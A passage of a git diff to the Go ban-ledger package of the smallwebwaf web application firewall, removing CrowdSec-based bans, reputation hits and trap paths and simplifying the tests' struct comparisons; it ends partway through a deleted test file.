||||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package bans_test
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"reflect"
|
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -118,7 +117,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
held := ledger.Bans(netblock)
|
held := ledger.Bans(netblock)
|
||||||
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
if len(held) != 2 || held[0] != lifted {
|
||||||
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
|
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -213,7 +212,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
|
|
||||||
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
|
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
|
||||||
"probes for logins")
|
"probes for logins")
|
||||||
if !reflect.DeepEqual(got, want) {
|
if got != want {
|
||||||
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -225,7 +224,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
|
|
||||||
// It refuses once the ban for the limit has ended.
|
// It refuses once the ban for the limit has ended.
|
||||||
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
|
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
|
||||||
if !banned || !reflect.DeepEqual(ban, want) {
|
if !banned || ban != want {
|
||||||
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
|
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
|
||||||
ban, banned, want)
|
ban, banned, want)
|
||||||
}
|
}
|
||||||
|
|||||||
+38
-108
@@ -1,10 +1,8 @@
|
|||||||
// Package bans is the ban ledger: the bans smallwebwaf makes on the
|
// Package bans is the ban ledger: the bans smallwebwaf makes on the
|
||||||
// netblocks of clients that break a rate limit, a byte limit or the error
|
// netblocks of clients that break a rate limit or a byte limit or show a
|
||||||
// burst, show a clear sign of attack or are listed by the CrowdSec
|
// clear sign of attack, and those an admin makes, with their notes, as
|
||||||
// decision list, and
|
// the "Bans" section of SPEC.md describes. The bans are kept in memory,
|
||||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
// and written to bans.json and read from it by the state package.
|
||||||
// describes. The bans are kept in memory, and written to bans.json and
|
|
||||||
// read from it by the state package.
|
|
||||||
package bans
|
package bans
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -28,9 +26,6 @@ const (
|
|||||||
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
|
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
|
||||||
// admin keeps. It is never dropped.
|
// admin keeps. It is never dropped.
|
||||||
CauseAdmin = "admin"
|
CauseAdmin = "admin"
|
||||||
// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec
|
|
||||||
// decision list lists. It ends when CrowdSec's decision does.
|
|
||||||
CauseCrowdSec = "crowdsec"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// repeatFactor is how many times as long as the netblock's last ban a ban
|
// repeatFactor is how many times as long as the netblock's last ban a ban
|
||||||
@@ -45,9 +40,9 @@ type Rules struct {
|
|||||||
// LimitBanDuration is how long a first ban for a broken limit lasts.
|
// LimitBanDuration is how long a first ban for a broken limit lasts.
|
||||||
LimitBanDuration time.Duration
|
LimitBanDuration time.Duration
|
||||||
// LimitBanRepeatWindow is how soon after the end of the netblock's
|
// LimitBanRepeatWindow is how soon after the end of the netblock's
|
||||||
// ban that ended last, other than one for a clear sign of attack or for
|
// ban that ended last, other than one for a clear sign of attack, a
|
||||||
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
// broken limit counts as a repeat, which bans for repeatFactor times as
|
||||||
// repeatFactor times as long as that ban.
|
// long as that ban.
|
||||||
LimitBanRepeatWindow time.Duration
|
LimitBanRepeatWindow time.Duration
|
||||||
// MaxBanDuration is the longest ban for a broken limit; one that would
|
// MaxBanDuration is the longest ban for a broken limit; one that would
|
||||||
// be longer is permanent instead.
|
// be longer is permanent instead.
|
||||||
@@ -68,11 +63,10 @@ type Ban struct {
|
|||||||
Start time.Time
|
Start time.Time
|
||||||
// Expires is when the ban ends, zero for a permanent ban.
|
// Expires is when the ban ends, zero for a permanent ban.
|
||||||
Expires time.Time
|
Expires time.Time
|
||||||
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
|
// Cause is CauseLimit, CauseAttack or CauseAdmin.
|
||||||
Cause string
|
Cause string
|
||||||
// Reason is a short text: for a ban smallwebwaf made, the limit broken,
|
// Reason is a short text: for a ban smallwebwaf made, the limit broken
|
||||||
// the rule that matched or the scenario of CrowdSec's decision; for an
|
// or the rule that matched; for an admin's, what the admin wrote.
|
||||||
// admin's, what the admin wrote.
|
|
||||||
Reason string
|
Reason string
|
||||||
// Lifted is when an admin lifted the ban, zero while no admin has. A
|
// Lifted is when an admin lifted the ban, zero while no admin has. A
|
||||||
// lifted ban refuses nothing, and does not make the netblock's next
|
// lifted ban refuses nothing, and does not make the netblock's next
|
||||||
@@ -104,11 +98,10 @@ type Notes struct {
|
|||||||
ASName string `json:"as_name"`
|
ASName string `json:"as_name"`
|
||||||
Country string `json:"country"`
|
Country string `json:"country"`
|
||||||
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
||||||
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
// what the limit was on, "requests" for a rate limit or "bytes" for a
|
||||||
// byte limit or "refusals" for the error burst, the limit that was
|
// byte limit, the limit that was broken, its window, "minute", "hour"
|
||||||
// broken, its window, "minute", "hour" or "day", and the count reached:
|
// or "day", and the count reached: the client's requests, or bytes, in
|
||||||
// the client's requests, bytes or refusals in the window, those of the
|
// the window, those of the request that broke the limit included.
|
||||||
// request that broke the limit included.
|
|
||||||
// These are what counted toward the ban, and the window is the time
|
// These are what counted toward the ban, and the window is the time
|
||||||
// over which they came.
|
// over which they came.
|
||||||
Kind string `json:"kind,omitempty"`
|
Kind string `json:"kind,omitempty"`
|
||||||
@@ -122,18 +115,11 @@ type Notes struct {
|
|||||||
LimitPercent *int64 `json:"limit_percent,omitempty"`
|
LimitPercent *int64 `json:"limit_percent,omitempty"`
|
||||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||||
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
||||||
// of the rule file rule that matched, and its target; TrapPath is, for
|
// of the rule file rule that matched, and its target.
|
||||||
// one for a request for a path in SWWAF_TRAP_PATHS, that path.
|
|
||||||
RuleID string `json:"rule_id,omitempty"`
|
RuleID string `json:"rule_id,omitempty"`
|
||||||
Target string `json:"target,omitempty"`
|
Target string `json:"target,omitempty"`
|
||||||
TrapPath string `json:"trap_path,omitempty"`
|
|
||||||
// Reputation is the reputation sources that listed the client when
|
|
||||||
// the request that caused the ban was made, in the order the request
|
|
||||||
// log's reputation names them. It is left out when none did.
|
|
||||||
Reputation []ReputationHit `json:"reputation,omitempty"`
|
|
||||||
// Request is the request that broke the limit, or whose bytes broke
|
// Request is the request that broke the limit, or whose bytes broke
|
||||||
// it, that was the clear sign of attack, or that came from a client the
|
// it, or that was the clear sign of attack.
|
||||||
// CrowdSec decision list lists.
|
|
||||||
Request Request `json:"request"`
|
Request Request `json:"request"`
|
||||||
// Requests is how many requests the netblock has sent since it was
|
// Requests is how many requests the netblock has sent since it was
|
||||||
// first seen, and Refused how many of them the ban has refused so
|
// first seen, and Refused how many of them the ban has refused so
|
||||||
@@ -145,22 +131,11 @@ type Notes struct {
|
|||||||
EarlierBans EarlierBans `json:"earlier_bans"`
|
EarlierBans EarlierBans `json:"earlier_bans"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// ReputationHit is a reputation source that listed a client, as a
|
|
||||||
// reputation_hit alert's detail gives it: Source is the URL of the
|
|
||||||
// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
|
|
||||||
// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
|
|
||||||
// client.
|
|
||||||
type ReputationHit struct {
|
|
||||||
Source string `json:"source"`
|
|
||||||
Score *int64 `json:"score,omitempty"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// EarlierBans counts a netblock's bans before a ban, by cause.
|
// EarlierBans counts a netblock's bans before a ban, by cause.
|
||||||
type EarlierBans struct {
|
type EarlierBans struct {
|
||||||
Limit int `json:"limit"`
|
Limit int `json:"limit"`
|
||||||
Attack int `json:"attack"`
|
Attack int `json:"attack"`
|
||||||
Admin int `json:"admin"`
|
Admin int `json:"admin"`
|
||||||
CrowdSec int `json:"crowdsec"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
|
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
|
||||||
@@ -288,8 +263,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
// BanForLimit bans netblock at now for a broken limit, with notes, and
|
// BanForLimit bans netblock at now for a broken limit, with notes, and
|
||||||
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
|
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
|
||||||
// made within LimitBanRepeatWindow after the netblock's ban that ended
|
// made within LimitBanRepeatWindow after the netblock's ban that ended
|
||||||
// last, other than one for a clear sign of attack or for CrowdSec's
|
// last, other than one for a clear sign of attack or a lifted one, lasts
|
||||||
// decision, or a lifted one, lasts
|
|
||||||
// repeatFactor times as long as that one. A ban that would be longer
|
// repeatFactor times as long as that one. A ban that would be longer
|
||||||
// than MaxBanDuration is permanent instead. If a ban on netblock is still
|
// than MaxBanDuration is permanent instead. If a ban on netblock is still
|
||||||
// active, as when two of its requests break a limit at once, that ban is
|
// active, as when two of its requests break a limit at once, that ban is
|
||||||
@@ -300,7 +274,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
func (l *Ledger) BanForLimit(
|
func (l *Ledger) BanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
|
return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
||||||
@@ -308,18 +282,18 @@ func (l *Ledger) BanForLimit(
|
|||||||
func (l *Ledger) WouldBanForLimit(
|
func (l *Ledger) WouldBanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
|
return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForAttack bans netblock at now for a clear sign of attack, with
|
// BanForAttack bans netblock at now for a clear sign of attack, with
|
||||||
// notes, and returns the ban, and whether it made it, as BanForLimit
|
// notes, and returns the ban, and whether it made it, as BanForLimit
|
||||||
// does. A first ban lasts AttackBanDuration; once the netblock has had
|
// does. A first ban lasts AttackBanDuration; once the netblock has had
|
||||||
// one that was not lifted, the next is permanent. Its reason is "matched
|
// one that was not lifted, the next is permanent. Its reason is "matched
|
||||||
// the rule <RuleID>", or "asked for the trap path <TrapPath>".
|
// the rule <RuleID>".
|
||||||
func (l *Ledger) BanForAttack(
|
func (l *Ledger) BanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
|
return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForAttack returns what BanForAttack would, without making the
|
// WouldBanForAttack returns what BanForAttack would, without making the
|
||||||
@@ -327,35 +301,12 @@ func (l *Ledger) BanForAttack(
|
|||||||
func (l *Ledger) WouldBanForAttack(
|
func (l *Ledger) WouldBanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
|
return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, false)
|
||||||
false)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit
|
||||||
// decision on the client ends, with notes, and returns the ban, and
|
// or CauseAttack, made at now would be permanent, as BanForLimit or
|
||||||
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
// BanForAttack would make it. It works out nothing else of the ban.
|
||||||
// decision for <scenario>", the scenario that made the decision.
|
|
||||||
func (l *Ledger) BanForCrowdSec(
|
|
||||||
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
|
||||||
) (Ban, bool) {
|
|
||||||
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
|
||||||
true)
|
|
||||||
}
|
|
||||||
|
|
||||||
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
|
||||||
// the ban: what observe mode would have done.
|
|
||||||
func (l *Ledger) WouldBanForCrowdSec(
|
|
||||||
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
|
||||||
) (Ban, bool) {
|
|
||||||
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
|
||||||
false)
|
|
||||||
}
|
|
||||||
|
|
||||||
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
|
||||||
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
|
|
||||||
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
|
|
||||||
// nothing else of the ban. A ban for CrowdSec's decision is never
|
|
||||||
// permanent: it ends with the decision.
|
|
||||||
func (l *Ledger) WouldBePermanent(
|
func (l *Ledger) WouldBePermanent(
|
||||||
netblock netip.Prefix, now time.Time, cause string,
|
netblock netip.Prefix, now time.Time, cause string,
|
||||||
) bool {
|
) bool {
|
||||||
@@ -367,14 +318,11 @@ func (l *Ledger) WouldBePermanent(
|
|||||||
held = *bans
|
held = *bans
|
||||||
}
|
}
|
||||||
|
|
||||||
switch cause {
|
if cause == CauseAttack {
|
||||||
case CauseAttack:
|
|
||||||
return l.attackExpiry(held, now).IsZero()
|
return l.attackExpiry(held, now).IsZero()
|
||||||
case CauseLimit:
|
|
||||||
return l.limitExpiry(held, now).IsZero()
|
|
||||||
default: // CauseCrowdSec
|
|
||||||
return false
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return l.limitExpiry(held, now).IsZero()
|
||||||
}
|
}
|
||||||
|
|
||||||
// limitReason is the reason of a ban for a broken limit, with notes.
|
// limitReason is the reason of a ban for a broken limit, with notes.
|
||||||
@@ -386,19 +334,9 @@ func limitReason(notes Notes) string {
|
|||||||
// attackReason is the reason of a ban for a clear sign of attack, with
|
// attackReason is the reason of a ban for a clear sign of attack, with
|
||||||
// notes.
|
// notes.
|
||||||
func attackReason(notes Notes) string {
|
func attackReason(notes Notes) string {
|
||||||
if notes.TrapPath != "" {
|
|
||||||
return "asked for the trap path " + notes.TrapPath
|
|
||||||
}
|
|
||||||
|
|
||||||
return "matched the rule " + notes.RuleID
|
return "matched the rule " + notes.RuleID
|
||||||
}
|
}
|
||||||
|
|
||||||
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
|
|
||||||
// scenario made.
|
|
||||||
func crowdSecReason(scenario string) string {
|
|
||||||
return "CrowdSec's decision for " + scenario
|
|
||||||
}
|
|
||||||
|
|
||||||
// BanForAdmin bans netblock at now for an admin, with reason, until
|
// BanForAdmin bans netblock at now for an admin, with reason, until
|
||||||
// expires, or for good when expires is zero, and returns the ban, whose
|
// expires, or for good when expires is zero, and returns the ban, whose
|
||||||
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
|
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
|
||||||
@@ -636,14 +574,11 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ban bans netblock at now for cause, with reason and notes, as
|
// ban bans netblock at now for cause, with reason and notes, as
|
||||||
// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
|
// BanForLimit and BanForAttack describe, and returns the ban, and whether
|
||||||
// ban, and whether it made it. expires is when a ban for CauseCrowdSec
|
// it made it. Unless keep is true, the ban is not made, only returned: it
|
||||||
// ends, and zero for the others, whose end the ledger works out. Unless
|
// is the ban that would have been made.
|
||||||
// keep is true, the ban is not made, only returned: it is the ban that
|
|
||||||
// would have been made.
|
|
||||||
func (l *Ledger) ban(
|
func (l *Ledger) ban(
|
||||||
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
|
netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, keep bool,
|
||||||
keep bool,
|
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -665,13 +600,10 @@ func (l *Ledger) ban(
|
|||||||
notes.Request = notes.Request.cut()
|
notes.Request = notes.Request.cut()
|
||||||
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
|
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
|
||||||
|
|
||||||
switch cause {
|
if cause == CauseAttack {
|
||||||
case CauseAttack:
|
|
||||||
ban.Expires = l.attackExpiry(held, now)
|
ban.Expires = l.attackExpiry(held, now)
|
||||||
case CauseLimit:
|
} else {
|
||||||
ban.Expires = l.limitExpiry(held, now)
|
ban.Expires = l.limitExpiry(held, now)
|
||||||
default: // CauseCrowdSec
|
|
||||||
ban.Expires = expires
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if !keep {
|
if !keep {
|
||||||
@@ -700,8 +632,6 @@ func earlierBans(held []Ban) EarlierBans {
|
|||||||
earlier.Attack++
|
earlier.Attack++
|
||||||
case CauseAdmin:
|
case CauseAdmin:
|
||||||
earlier.Admin++
|
earlier.Admin++
|
||||||
case CauseCrowdSec:
|
|
||||||
earlier.CrowdSec++
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -795,16 +725,16 @@ func (l *Ledger) add(ban Ban) {
|
|||||||
// limitExpiry returns when a ban for a broken limit made at now ends, or
|
// limitExpiry returns when a ban for a broken limit made at now ends, or
|
||||||
// zero when it is permanent. held are the netblock's bans, none of them
|
// zero when it is permanent. held are the netblock's bans, none of them
|
||||||
// active, of which the one that ended last, other than a ban for a clear
|
// active, of which the one that ended last, other than a ban for a clear
|
||||||
// sign of attack or for CrowdSec's decision, or a lifted one, can make the
|
// sign of attack or a lifted one, can make the new ban longer. A ban an
|
||||||
// new ban longer. A ban an admin adds to bans.json can start after
|
// admin adds to bans.json can start after another and end before it, so
|
||||||
// another and end before it, so that one is looked for among them all.
|
// that one is looked for among them all.
|
||||||
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
||||||
length := l.rules.LimitBanDuration
|
length := l.rules.LimitBanDuration
|
||||||
|
|
||||||
var last *Ban
|
var last *Ban
|
||||||
|
|
||||||
for i, ban := range held {
|
for i, ban := range held {
|
||||||
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
|
if ban.Cause != CauseAttack && ban.Lifted.IsZero() &&
|
||||||
(last == nil || ban.Expires.After(last.Expires)) {
|
(last == nil || ban.Expires.After(last.Expires)) {
|
||||||
last = &held[i]
|
last = &held[i]
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package bans_test
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"reflect"
|
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
@@ -131,13 +130,13 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
|||||||
|
|
||||||
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
|
|
||||||
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
|
if made || again != first || len(ledger.Bans(netblock)) != 1 {
|
||||||
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
||||||
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
|
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
|
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
if made || !reflect.DeepEqual(again, first) {
|
if made || again != first {
|
||||||
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
|
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
|
||||||
again, made, first)
|
again, made, first)
|
||||||
}
|
}
|
||||||
@@ -183,7 +182,7 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||||
|
|
||||||
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
||||||
if !banned || !reflect.DeepEqual(got, ban) {
|
if !banned || got != ban {
|
||||||
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
|
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -192,7 +191,7 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
t.Error("the ban did not end")
|
t.Error("the ban did not end")
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
|
if notes := ledger.Bans(netblock)[0].Notes; notes != ban.Notes {
|
||||||
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
|
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -248,7 +247,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
|
|||||||
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||||
|
|
||||||
held := ledger.Bans(netblock)
|
held := ledger.Bans(netblock)
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
|
if len(held) != 1 || held[0] != second ||
|
||||||
held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf("the ledger holds %+v, want only the second ban, "+
|
t.Errorf("the ledger holds %+v, want only the second ban, "+
|
||||||
"with 1 earlier ban for a limit", held)
|
"with 1 earlier ban for a limit", held)
|
||||||
@@ -343,7 +342,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
|
|
||||||
// While the first ban lasts, none would be made.
|
// While the first ban lasts, none would be made.
|
||||||
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
|
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
|
||||||
if would || !reflect.DeepEqual(during, first) {
|
if would || during != first {
|
||||||
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
|
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
|
||||||
would, during, first)
|
would, during, first)
|
||||||
}
|
}
|
||||||
@@ -372,7 +371,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
|
|
||||||
// The ban made is the one that would have been.
|
// The ban made is the one that would have been.
|
||||||
made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
|
made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
|
||||||
if !reflect.DeepEqual(made, limit) {
|
if made != limit {
|
||||||
t.Errorf("the ban made is %+v, want %+v", made, limit)
|
t.Errorf("the ban made is %+v, want %+v", made, limit)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,90 +0,0 @@
|
|||||||
package bans_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/netip"
|
|
||||||
"reflect"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
)
|
|
||||||
|
|
||||||
// scenario is the scenario of the tests' CrowdSec decisions.
|
|
||||||
const scenario = "crowdsecurity/ssh-bf"
|
|
||||||
|
|
||||||
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ledger := bans.New(defaultRules())
|
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
expires := midnight().Add(4 * time.Hour)
|
|
||||||
|
|
||||||
// The ban that would be made is not made.
|
|
||||||
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
|
|
||||||
scenario, bans.Notes{})
|
|
||||||
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
|
||||||
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
|
|
||||||
wouldBan, ledger.Bans(netblock))
|
|
||||||
}
|
|
||||||
|
|
||||||
const reason = "CrowdSec's decision for " + scenario
|
|
||||||
|
|
||||||
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
|
|
||||||
bans.Notes{})
|
|
||||||
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
|
|
||||||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
|
|
||||||
ledger.Made(bans.CauseCrowdSec) != 1 {
|
|
||||||
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
|
|
||||||
"crowdsec until %s", made, ban, would, expires)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A second decision on the netblock while the ban lasts makes no other.
|
|
||||||
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
|
||||||
expires.Add(time.Hour), scenario, bans.Notes{})
|
|
||||||
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
|
|
||||||
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ledger := bans.New(defaultRules())
|
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
expires := midnight().Add(4 * time.Hour)
|
|
||||||
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
|
|
||||||
|
|
||||||
// A request as the ban ends is refused, and leaves it as it is.
|
|
||||||
last := expires.Add(-time.Nanosecond)
|
|
||||||
|
|
||||||
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
|
||||||
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
|
||||||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
|
||||||
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
|
|
||||||
"refused under the ban as it was", banned, held, madePermanent)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
|
||||||
t.Error("the ban refuses a request once the decision has ended")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ledger := bans.New(defaultRules())
|
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
|
|
||||||
